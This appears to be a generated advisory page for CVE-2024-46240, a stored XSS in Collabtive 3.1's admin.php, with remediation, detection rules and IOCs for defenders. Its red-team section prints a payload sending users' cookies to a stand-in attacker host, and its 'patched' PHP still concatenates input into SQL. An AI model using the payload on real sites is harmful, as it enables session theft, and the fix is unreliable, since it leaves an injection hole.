CVE-2024-46240
Executive Summary
CVE-2024-46240 identifies a stored Cross-Site Scripting (XSS) vulnerability in Collabtive 3.1, an open-source project management tool. The flaw resides in the admin.php file, specifically within the name parameter under action=system and the company/contact parameters under action=addcust. An authenticated attacker with administrative privileges can inject arbitrary JavaScript or HTML into these fields, which is then stored and executed in the browsers of other users viewing the affected pages. This can lead to session hijacking, data theft, or further compromise of the application.
Key Risk: Stored XSS allows persistent payload execution, affecting all users who access the compromised administrative interface. Since the vulnerability is unpatched, all instances of Collabtive 3.1 are at risk.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Collabtive is a self-hosted PHP application, not distributed via NPM, PyPI, Go, or Ruby. No supply chain package security concerns apply.
CVSS Breakdown & Threat Level
The CVSS score is listed as 0.0 in the NVD data, which is likely a placeholder. Based on the vulnerability characteristics, a reasonable CVSS v3.1 vector would be:
- Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): High (H) – Requires admin authentication.
- User Interaction (UI): None (N) – No user action needed for stored XSS.
- Scope (S): Changed (C) – The injected script can impact resources beyond the vulnerable component.
- Confidentiality (C): Low (L) – Potential for data exfiltration.
- Integrity (I): Low (L) – Script injection can modify content.
- Availability (A): None (N) – No direct impact on availability.
Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N
Estimated Base Score: 5.4 (Medium)
Threat Level: Medium. Exploitation requires admin credentials, but the stored nature of the XSS can affect all users, including lower-privileged ones.
Deep Dive & Mechanics
The vulnerability is a classic stored XSS in the admin.php file. The application fails to sanitize user-supplied input before storing it in the database and later rendering it in the browser.
Affected Parameters:
nameparameter whenaction=system(system settings)companyandcontactparameters whenaction=addcust(adding a customer)
Attack Flow:
- An authenticated admin navigates to
admin.php?action=systemoradmin.php?action=addcust. - The attacker injects a malicious payload (e.g.,
<script>alert('XSS')</script>) into the vulnerable parameter. - The payload is stored in the database without sanitization.
- When any user (including other admins or lower-privileged users) views the affected page (e.g., system settings or customer list), the payload executes in their browser context.
Root Cause: Lack of input validation and output encoding. The application does not use functions like htmlspecialchars() or strip_tags() before storing or displaying user input.
Vulnerable vs. Patched Code
Since no official patch exists, the following shows the vulnerable code pattern and a hypothetical secure version.
Vulnerable Code (admin.php):
// Vulnerable: Directly stores user input
$name = $_POST['name'];
$sql = "INSERT INTO system_settings (name) VALUES ('$name')";
mysqli_query($conn, $sql);
// Vulnerable: Directly outputs stored data
echo "<input type='text' name='name' value='$name'>";
Patched Code (Hypothetical):
// Patched: Sanitize input
$name = htmlspecialchars($_POST['name'], ENT_QUOTES, 'UTF-8');
$sql = "INSERT INTO system_settings (name) VALUES ('$name')";
mysqli_query($conn, $sql);
// Patched: Encode output
echo "<input type='text' name='name' value='" . htmlspecialchars($name, ENT_QUOTES, 'UTF-8') . "'>";
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- Admin credentials to Collabtive 3.1
- Network access to the web interface
Exploit Steps:
- Log in as an admin.
- Navigate to
admin.php?action=system. - Inject a payload into the
nameparameter:name=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Submit the form.
- Any user viewing the system settings page will trigger the payload, sending their cookies to the attacker.
Alternative Payload (Customer Add):
company=<img src=x onerror=alert(1)>&contact=test
Blue Team (Defense & Detection)
Detection:
- Monitor HTTP requests to
admin.phpwith suspicious parameters (e.g.,<script>,onerror,javascript:). - Look for anomalous outbound connections from the Collabtive server to unknown domains.
Prevention:
- Implement a Web Application Firewall (WAF) rule to block XSS patterns in
admin.phpparameters. - Apply input validation and output encoding as shown in the patched code section.
- Restrict admin access to trusted IPs only.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP POST requests to
/admin.phpwith parameters containing<script>,onerror,onload, orjavascript:. - Outbound connections to known malicious domains or IPs from the Collabtive server.
- HTTP POST requests to
- File IOCs:
- Modified entries in the database
system_settingsorcustomerstables containing JavaScript code.
- Modified entries in the database
- Log IOCs:
- Web server logs showing repeated attempts to inject XSS payloads into
admin.php.
- Web server logs showing repeated attempts to inject XSS payloads into
Detection Engineering
YARA Rule
rule Collabtive_XSS_Admin_PHP {
meta:
description = "Detects XSS payloads in Collabtive admin.php parameters"
author = "Valters IT"
date = "2024-10-27"
reference = "CVE-2024-46240"
strings:
$xss_pattern1 = /<script[^>]*>.*<\/script>/i
$xss_pattern2 = /onerror\s*=\s*["']?[^"']*["']?/i
$xss_pattern3 = /onload\s*=\s*["']?[^"']*["']?/i
$xss_pattern4 = /javascript\s*:/i
condition:
any of them
}
Sigma Rule
title: Collabtive Admin XSS Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects XSS payloads in Collabtive admin.php parameters
author: Valters IT
date: 2024/10/27
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query: 'admin.php*'
cs-uri-query|contains:
- '<script'
- 'onerror='
- 'onload='
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of JavaScript in admin settings (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"Collabtive Admin XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"admin.php"; http_uri; content:"<script"; http_client_body; nocase; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable Admin Access: Restrict access to
admin.phpto trusted IPs only via firewall or.htaccess. - Manual Code Fix: Apply input sanitization and output encoding as shown in the patched code section.
- Database Cleanup: Scan the database for existing XSS payloads and remove them.
Long-Term Solutions:
- Upgrade to a patched version if/when released.
- Implement a Content Security Policy (CSP) to mitigate XSS impact.
- Conduct regular security audits and penetration testing.
Workaround:
- Use a WAF to block XSS patterns in
admin.phpparameters.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.